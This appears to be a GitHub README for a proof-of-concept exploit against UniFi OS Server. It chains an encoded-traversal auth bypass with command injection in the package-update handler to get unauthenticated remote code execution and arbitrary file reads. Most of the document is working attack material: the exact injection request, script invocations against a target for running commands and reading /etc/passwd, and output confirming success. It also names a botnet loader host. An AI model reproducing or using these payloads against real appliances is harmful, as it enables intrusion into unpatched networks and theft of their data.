boreas37/cve-2026-34910-pocCVE-2026-34910/34909 — UniFi OS unauth RCE + file read via ..%2f auth bypass (CVSS 10.0, KEV, Mirai ITW)
Unauthenticated Command Injection RCE (CVE-2026-34910) + Path Traversal
Arbitrary File Read (CVE-2026-34909) in UniFi OS Server.
CVSS 10.0 (Critical) each · CISA KEV listed · actively exploited by a
Mirai-derived botnet (azsxd implant).
Ubiquiti UniFi OS ships an nginx auth gateway that treats any request whose
RAW URI starts with /api/auth/validate-sso/ as public, but routes by the
NORMALIZED URI (decodes %2f → / and collapses ../). Encoding a
traversal makes the two diverge:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ reaches the internal package-update handler, which passes pkg_name to
/bin/sh -c → unauthenticated RCE in a single request.
The same primitive against /app-assets/... reads files off disk
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
The RCE payload injects a semicolon into the handler's internal
sudo systemctl stop <pkg_name> shell command: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — the injected command executes on the host
as the ucs-update user.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ FULLY VERIFIED — RCE confirmed against real UniFi OS Server 5.0.6 (vulnerable, setup-completed) running in Docker (hieutq/unifi-os-server:5.0.6-amd64):
..%2fauth-bypass reaches the internallatest_packagehandler (response:CODE_SYSTEM_ERROR/ "pkg_name required" — not an nginx 400).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=truecreated the file on the target (-rw-r--r-- ucs-update) → command injection → RCE confirmed.- Against patched UniFi OS 5.1.21 the same request returns HTTP 400 (nginx rejects the raw-URI/normalized-URI divergence), confirming a clean negative.
Setup was completed through the real web wizard (device name → credentials → console password → finish), so the lab matches a production-installed appliance.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | Severity | Affected | Fixed |
|---|---|---|---|
| CVE-2026-34910 | 10.0 Critical | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Critical | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Critical | UniFi OS Server (pre-SAB-064) | SAB-064 |
Mirai/Gafgyt-derived botnet (azsxd v2.0 implant) chains the auth bypass +
command injection for unauth RCE — multi-arch loader staged from
185.228.26.16. See the pwndefend writeup.
For authorized security testing and educational purposes only.